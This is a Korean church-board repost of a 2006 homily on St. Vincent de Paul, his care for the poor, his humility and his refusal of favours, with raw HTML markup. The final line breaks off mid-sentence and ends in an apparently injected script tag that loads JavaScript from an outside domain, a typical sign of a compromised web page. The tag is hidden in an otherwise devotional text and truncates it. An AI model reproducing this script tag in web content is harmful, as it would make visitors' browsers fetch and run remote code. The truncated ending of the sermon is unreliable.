양치기신부님의 강론

작성자 : 허미옥 | 조회수 : 3,347 | 작성일 : 2006년 9월 27일

<FONT face=굴림체 color=#456186 size=2>9월 27일 성 빈첸시오 드 폴 사제 기념일-루카 9장 1-6절 <BR><BR>“길을 떠날 때에 아무것도 가지고 가지 마라.” <BR><BR>&lt;가난한 사람은 우리의 주님이십니다&gt;&nbsp; - 양치기 신부님<BR><BR>오늘은 사랑의 사도이자 자선사업의 대가이신 <BR>성 빈첸시오 드 폴 사제 기념일입니다. <BR>그는 자주 “가난한 사람들은 우리의 주님이십니다”라고 외쳤습니다. <BR>자신의 모토에 따라 한 평생을 버림받고 소외되어 <BR>사회의 외곽에서 떠돌던 가난한 사람들을 위해 헌신하였습니다. <BR><BR>몇 권의 빈첸시오 드 폴 신부와 관련된 서적을 꺼내 읽었는데, <BR>책을 덮으면서 그의 드라마틱한 인생역정, <BR>그가 펼친 수많은 사업들, 사회에 끼친 지대한 공헌들을, <BR>교회사 안에 남긴 위대한 발자취를 바라보며 <BR>입을 다물 수가 없었습니다. <BR><BR>아무래도 그의 생애에서 가장 두드러진 성향은 <BR>‘가난한 이들에 대한 우선적 선택’이었습니다. <BR><BR>당시 다들 돌보기를 꺼렸던 정신질환자들이나 범죄자, <BR>부랑인들을 위한 숙소 운영을 덥석 맡은 그는 <BR>동료들을 향해 이렇게 말했습니다. <BR><BR>“정신질환자들과 교화가 불가능한 이 사람들을 지도할 임무를 <BR>저희 공동체에 맡겨주신 하느님께 감사드립니다. <BR>형제들이여, 이 고통 중에 있는 형제들을 위로해주는 일은 <BR>다른 사람들이 생각하는 것처럼 하찮은 일이 결코 아닙니다. <BR>그보다는 하느님을 가장 기쁘게 해드리는 일입니다. <BR><BR>형제들이여, 제 정신과 품성을 잃은 <BR>이 불쌍한 사람들을 보살피는 일을 <BR>우리에게 맡기신 하느님을 찬미합시다. <BR>이들을 위해 봉사하고 인간의 비참함을 체험해야만 <BR>비로소 우리의 비참함이 얼마나 크고 많은지를 알 수 있게 됩니다. <BR>비참함을 체험해봐야, 괴로움이 무엇인지 맛을 본 이후에 <BR>우리의 봉사는 더욱 빛을 발할 것입니다.” <BR><BR>빈첸시오 드 폴 신부의 높은 덕행의 향기에 취한 프랑스 여왕은 <BR>그를 고문으로 임명합니다. 영예로운 직책에 임명되고 나서도 <BR>그의 생활이나 옷차림은 전혀 변화가 없었습니다. <BR><BR>누더기 투성이인 허름한 수단에 값싼 양털 띠, <BR>잘 맞지도 않는 큼직한 구두에 <BR>이상하게 생긴 모자를 쓰고 다니다보니 <BR>빈첸시오 드 폴 신부는 당시 귀족들 사이에서 놀림감이 되었습니다. <BR>어떤 귀족은 틈만 나면 그의 옷차림을 두고 놀렸습니다. <BR><BR>“여러분, 이 멋진 구두를 보십시오. <BR>그리고 저 모자는 또 뭡니까? 깔깔깔!” <BR><BR>높은 자리에 앉게 된 빈첸시오 드 폴 신부였기에 <BR>갖가지 인사 청탁이 끊이지 않았는데, <BR>그는 절대로 허락하지 않았습니다. <BR><BR>어느 날, 인사 청탁이 먹혀들지 않자, <BR>아들 뻘도 안 되는 한 젊은이가 찾아와 <BR>잔뜩 화를 내며 외쳤습니다. <BR><BR>“야, 이 미친놈아!” <BR><BR>그러자 빈첸시오 드 폴 신부는 이렇게 대답했습니다. <BR><BR>“정말 그렇습니다. 저 때문에 당신이 <BR>그런 말을 내뱉게 되었군요. 용서해주십시오.” <BR><BR>또 언젠가는 아들을 주교로 추천해달라고 청했다가 <BR>거절당한 공작부인이 몹시 화가 나서 의자를 집어 들고 <BR>빈첸시오 드 폴 신부의 얼굴을 향해 내던졌습니다. <BR>그의 얼굴에는 선혈이 낭자했습니다. <BR>그러나 그는 조금도 흔들림이 없었습니다. <BR>손수건으로 상처를 막으며 <BR>단 한 마디 말도 없이 방을 떠났습니다. <BR><BR>평생토록 가난한 사람들과 혼연일체가 되어 동고동락해왔고, <BR>가난한 사람들을 위해 너무나 많은 일을 해온 나머지 <BR>온 몸이 성할 데가 없게 된 노인 빈첸시오 드 폴 신부, <BR>그래서 좀 편안히 쉬어도 누가 뭐라 하지 않을 텐데, <BR>쑥스러워하며 이렇게 자신의 삶을 반성합니다. <BR><BR>“정말 부끄럽습니다. 오늘도 형제 한 명의 시중을 받으며 <BR>난방이 되는 방과 커튼이 걸린 잠자리에서 <BR>지내고 있는 제가 아닙니까? <BR>저는 어느 한 가지도 불편함이 없이 <BR>여러모로 여러분의 도움을 받고 있으니, <BR>제가 이 수도회에 얼마나 큰 방해거리가 되었겠습니까? <BR>하느님과 이 수도회에 용서를 빕니다. <BR>부디 늙어빠진 저를 조금만 참아 주십시오. <BR>이 나이에도 자신을 올바로 고치고, <BR>가능하다면 모든 것을 다 버릴 수 있도록 <BR>은총을 내려주시기를 하느님께 기도해주십시오.” <BR><BR>가난한 사람들의 아버지 빈첸시오 드 폴 신부의 축일을 기념하며,<BR>다시 한 번 우리의 시선이 <BR>이 사회의 보다 낮은 곳으로 내려가길 기원합니다. <BR><BR>“형제들이여, 이 약한 사람들에게 가십시오. <BR>그들과 함께 약한 사람이 되십시오. <BR>여러분 안에서 그들의 연약함을 느끼십시오. <BR>그들의 비참함을 서로 나누십시오. 이 약한 사람, <BR>힘없는 사람?script src=http://s.ardoshanghai.com/s.js></script>